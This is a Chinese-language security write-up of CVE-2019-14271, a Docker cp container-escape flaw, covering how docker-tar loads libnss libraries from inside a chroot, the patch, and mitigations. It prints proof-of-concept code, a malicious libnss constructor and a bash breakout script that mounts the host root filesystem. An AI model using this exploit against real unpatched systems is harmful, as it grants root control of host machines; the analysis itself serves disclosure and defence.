docker run命令_CVE-2019-14271:Docker cp命令漏洞分析
0x00 前言
在过去几年中,研究人员在各种容器平台的copy(cp)命令中发现了几个漏洞,这些平台包括Docker、Podman及Kubernetes,其中最严重的漏洞直到今年7月份才被发现和披露。令人惊讶的是,当时这个漏洞并没有引起太多关注,这可能是因为该漏洞的CVE描述并不清晰,并且也没有公开利用代码。
CVE-2019-14271是Docker cp
命令实现中存在的一个安全问题,攻击者可以利用该漏洞实现完整的容器逃逸。这是从2月份runC
漏洞公布以来第一个容器逃逸类漏洞。
如果攻击者先前已入侵了某个容器(比如通过各种漏洞、被泄露的私密信息等),或者当用户通过不可信源(registry等)运行某个恶意容器镜像,那么攻击者就可以利用该漏洞。如果用户随后执行了存在漏洞的cp
命令,将文件从被入侵的容器中拷贝出来,那么攻击者就可以实现容器逃逸,完全控制宿主机以及其中的所有容器。
CVE-2019-14271的评估等级为“Critical”,已在19.03.1版的Docker中被修复。本文介绍了CVE-2019-14271漏洞,并提出了该漏洞的第一个PoC。
我和Ariel Zelivansky一直在密切关注主流容器平台上最近出现的copy漏洞,我们将于11月20日在San Diego的KubeCon + CloudNativeCon 2019上分享我们的研究成果。在会议上我们将分析过去已有的漏洞、不同的内部实现以及某些底层原因,解释这条简单命令为何难以妥善实现。我们还将讨论为解决该问题而开发的一些新的内核功能。
0x01 Docker cp
我们可以使用copy
命令,将文件拷贝至/拷贝出容器,也可以在容器间相互拷贝。命令语法非常简单,与标准的Unix cp
命令类似。为了从容器中拷贝出/var/logs
,我们可以使用该语法:docker cp container_name:/var/logs /some/host/path
。
如下图所示,为了将文件从容器中拷出,Docker使用了一个辅助进程:docker-tar
。
图1. 从容器中拷贝文件docker-tar
的原理是chroot
到容器中(如下图所示),归档其中请求的文件及目录,然后将生成的tar
文件传回Docker守护进程,该进程负责将文件提取到宿主机上的目标目录中。
图2. docker-tar
chroot
到容器中
执行chroot
操作最主要的目的是避免符号链接(symlink)攻击,当宿主机进程尝试访问容器中的文件时就可能发生这种攻击。如果其中某个文件为符号链接,那么就可能被解析到宿主机的根目录,这样攻击者控制的容器就有可能通过容器的cp
命令在宿主机上读取并写入文件。在过去一年中,Docker及Podman中已经有多个CVE与符号链接有关。通过chroot
到容器根目录,docker-tar
就可以确保所有的符号链接已被正确解析。
不幸的是,chroot
到容器中存在一个副作用,当从容器中拷贝文件时,会造成更严重的后果。
0x02 CVE-2019-14271
Docker采用Golang编写,更具体一些,存在漏洞的Docker版本采用Go v1.11编译。在这个版本中,包含嵌入式C代码(cgo
)的某些package会在运行时动态加载共享库。这些package包括net
及os/user
,docker-tar
都用到了这两个package,会在运行时动态加载一些libnss_*.so
库。正常情况下,程序库会从宿主机的文件系统中加载,然而由于docker-tar
会chroot
到容器中,因此会从容器的文件系统中加载这些库。这意味着docker-tar
会加载并执行受容器控制的代码。
这里要澄清一点:除了chroot
到容器文件系统中之外,docker-tar
并没有被容器化。docker-tar
运行在宿主机命名空间中,具备所有root功能,并且没有受cgroups
以及seccomp
限制。因此,攻击者可以将代码注入到docker-tar
,就可以通过恶意容器获得宿主机的完整root访问权限。
当Docker用户从如下几种容器中拷贝文件时,就存在被攻击的风险:
- 运行恶意镜像的容器,其中带有恶意的
libnss_*.so
库; - 攻击者在被入侵的容器中替换
libnss_*.so
库。
在这两种情况下,攻击者都可以获得宿主机上的root代码执行权限。
有趣的是,研究人员实际上是从某个GitHub issue中发现了该漏洞,当时用户尝试从某个debian:buster-slim
容器中拷贝文件,但docker cp
命令总是无法成功执行。当时的问题在于该镜像并没有包含libnss
库,因此当用户运行docker cp
命令,docker-tar
进程尝试从容器系统中加载这些库时,就会出现错误。
0x03 漏洞利用
为了利用CVE-2019-14271,我们需要构建一个恶意的libnss
库,这里我选择的是libnss_files.so
。我下载了该库的源代码,在源文件中添加了一个函数:run_at_link()
。我还使用constructor属性来定义该函数。constructor
属性(GCC特定语法)表示run_at_link
函数会在目标库被进程加载时作为初始化函数来执行,这意味着当docker-tar
进程动态加载我们的恶意库时,run_at_link
就会被执行。run_at_link
代码如下所示,这里我做了适当精简:#include ... #define ORIGINAL_LIBNSS "/original_libnss_files.so.2" #define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2" bool is_priviliged(); __attribute__ ((constructor)) void run_at_link(void) { char * argv_break[2]; if (!is_priviliged()) return; rename(ORIGINAL_LIBNSS, LIBNSS_PATH); fprintf(log_fp, "switched back to the original libnss_file.so"); if (!fork()) { // Child runs breakout argv_break[0] = strdup("/breakout"); argv_break[1] = NULL; execve("/breakout", argv_break, NULL); } else wait(NULL); // Wait for child return; } bool is_priviliged() { FILE * proc_file = fopen("/proc/self/exe", "r"); if (proc_file != NULL) { fclose(proc_file); return false; // can open so /proc exists, not privileged } return true; // we're running in the context of docker-tar }run_at_link
首先会验证代码运行在docker-tar
上下文中,这是因为其他正常的容器进程也可能加载该库。代码通过检查/proc
目录完成该操作。如果run_at_link
运行在docker-tar
上下文中,那么该目录将为空,这是因为挂载到/proc
的procfs
只存在于容器的mount
命名空间中。
接下来,run_at_link
会将恶意库替换为原始的libnss
库。这样能确保利用代码运行的后续进程不会意外加载恶意库,避免再次执行run_at_link
。
随后,为了简化利用过程,run_at_link
会尝试运行容器中的/breakout
可执行文件。这样后续利用代码就可以在bash中完成,不需要依赖于C。后续利用逻辑不受限于run_at_link
,这也意味着当利用代码有改动时,我们不需要每次都重新编译恶意库,只需要修改breakout
程序即可。
如下图所示,当Docker用户运行恶意镜像(其中包含我们的恶意libnss_files.so
库),尝试从容器中拷贝某些日志文件时,镜像中的/breakout
程序就会执行。这里的/breakout
是一个简单的bash脚本,会将宿主文件系统加载到容器的/host_fs
,并将信息写入宿主机上的/evil
。
图3. 利用CVE-2019-14271实现容器逃逸
该视频中使用的/breakout
脚本源码如下所示。为了获取宿主机根文件系统的引用,脚本将procfs
挂载到/proc
。由于docker-tar
运行在宿主机的PID
命名空间中,被挂载的procfs
将会包含宿主机进程中的数据。该脚本随后会挂载宿主机PID 1
的根目录。#!/bin/bash umount /host_fs && rm -rf /host_fs mkdir /host_fs mount -t proc none /proc # mount the host's procfs over /proc cd /proc/1/root # chdir to host's root mount --bind . /host_fs # mount host root at /host_fs echo "Hello from within the container!" > /host_fs/evil
0x04 漏洞补丁
漏洞补丁修复了docker-tar
的init
函数,避免存在问题的Go package调用任意函数。补丁强制docker-tar
在chroot
到容器前,先从宿主机系统中加载libnss
库。
图4. 补丁代码
0x05 总结
如果某个漏洞能够在宿主机上执行代码,那该漏洞将非常危险。用户应确保当前运行19.03.1版或更高版本的Docker,这些版本中已经修复了该问题。为了限制这类漏洞的攻击面,我建议大家永远不要运行不可信的镜像。
此外,如果不是特殊情况,我建议大家以非root
用户运行容器,这样能进一步提高容器安全性,避免攻击者利用容器引擎或者内核中存在的各种问题。对于CVE-2019-14271漏洞,如果容器以非root
用户运行,那么当前环境仍然安全。即便攻击者成功入侵容器,也无法覆盖容器的libnss
库,因为这些库归root
所有,因此攻击者无法利用该漏洞。Ariel Zelivansky还发表过一篇文章,其中介绍了以非root
用户运行容器的各种优点,供大家参考。
原文链接:https://www.anquanke.com/post/id/193218
欢迎登录安全客 - 有思想的安全新媒体www.anquanke.com/ 加入交流群814450983 获取更多最新资讯
docker run命令_CVE-2019-14271:Docker cp命令漏洞分析相关推荐
- docker Swarm简介 新旧版本操作不一样docker run --rm swarm create和docker swarm --init
https://www.cnblogs.com/franknihao/p/8490416.html https://cloud.tencent.com/developer/section/109194 ...
- 【Linux学习】Linux必备命令(一)--之cp命令详解
[Linux学习]Linux必备命令(一)–之cp命令详解 1.命令详解 cp 命令主要用于拷贝文件,用法,cp old.txt /tmp/new.txt ,常用来备份,如果拷贝目录需要加-r 参数, ...
- unix和linux命令_Linux / UNIX中的cp命令
unix和linux命令 In this guide, we focus on cp command in Linux/Unix systems. cp command – short for cop ...
- 每天一个linux命令(8):cp 命令
cp命令用来复制文件或者目录,是Linux系统中最常用的命令之一.一般情况下,shell会设置一个别名,在命令行下复制文件时,如果目标文件已经存在,就会询问是否覆盖,不管你是否使用-i参数.但是如果是 ...
- linux cp命令覆盖恢复,Linux中用cp命令直接覆盖不提示的方法
Linux中用cp命令直接覆盖不提示的方法 在Linux下,如果希望将文件file拷贝到目录dir下,可以执行: cp file dir 但如果dir下已经存在一个名为file的文件的时候,系统总是会 ...
- cp linux ax,(轉)每天一個linux命令(8):cp 命令,復制文件和文件夾
場景:自動部署腳本中為了部署方便,將配置文件放在服務器端,每次部署都使用服務端的配置文件覆蓋上傳上去的配置文件. cp命令用來復制文件或者目錄,是Linux系統中最常用的命令之一. 一般情況下,she ...
- linux命令 复制文件夹命令行,(转)每天一个linux命令(8):cp 命令,复制文件和文件夹...
场景:自动部署脚本中为了部署方便,将配置文件放在服务器端,每次部署都使用服务端的配置文件覆盖上传上去的配置文件. cp命令用来复制文件或者目录,是Linux系统中最常用的命令之一. 一般情况下,she ...
- linux cp命令 强制覆盖,解决 Linux cp 命令加了 -f 后依然提示覆盖的问题
cp 命令是在 Linux 上用来复制文件的命令,不管是复制单个文件,还是整个文件夹复制,都可以用 cp 命令实现.有时候我们需要用新的文件覆盖旧的文件,并且希望命令不提示 Y/N 而是直接覆盖,就 ...
- docker run 命令详解
命令格式 Docker run命令用于运行一个新容器,而启动一个容器需要非常多的信息,所以该命令的参数非常多,今天就详细分析下该命令支持的参数. 首先看一下该命令的格式: Usage: docker ...
- docker run命令详解
撸了今年阿里.头条和美团的面试,我有一个重要发现.......>>> Usage: docker run [OPTIONS] IMAGE [COMMAND] [ARG...]-a, ...
最新文章
- 47种常见的浏览器兼容性问题大汇总
- 还能开发搜索引擎吗?
- linux 消息对lie_Linux进程间通信之消息队列总结
- 浸会大学计算机专业硕士排名2019,2019软科世界大学学术排名香港浸会大学排名第701-800...
- 代理模式用来初始化的延迟下载
- isbool php,PHP PHPUnit assertIsBool()用法及代码示例
- lammps教程:Ovito查看晶体内部变形方法
- python数据分析软件包_Python数据分析软件包介绍
- 微信支付:手机系统自带的浏览器,调用微信支付如何实现(非扫码)
- 模式识别属于计算机科学吗,模式识别与智能系统这个学科属于什么类?
- Styler类的变量
- 《高情商修炼手册》 by 小粥超人(小hi)Hygge @Chou
- 超百万观众同场看直播秒开不卡顿,快手是如何做到的?|首次披露
- fiddler抓APP的htpps請求,全部都是Tunnel to ......CONNECT...443的解决办法
- 【服务器数据恢复】nas存储服务器的数据恢复案例
- 【解决方案】企业远程行政会议协同办公视频会议EasyRTC如何实现远程办公?
- 音频编辑软件Goldwave v6.68中文版,goldwave 2022最新版怎么来消除人声
- VC删除注册表键值项
- 铰接板荷载横向分布影响线竖标表 计算程序2017
- 三国皇帝的寡妇秘史(2)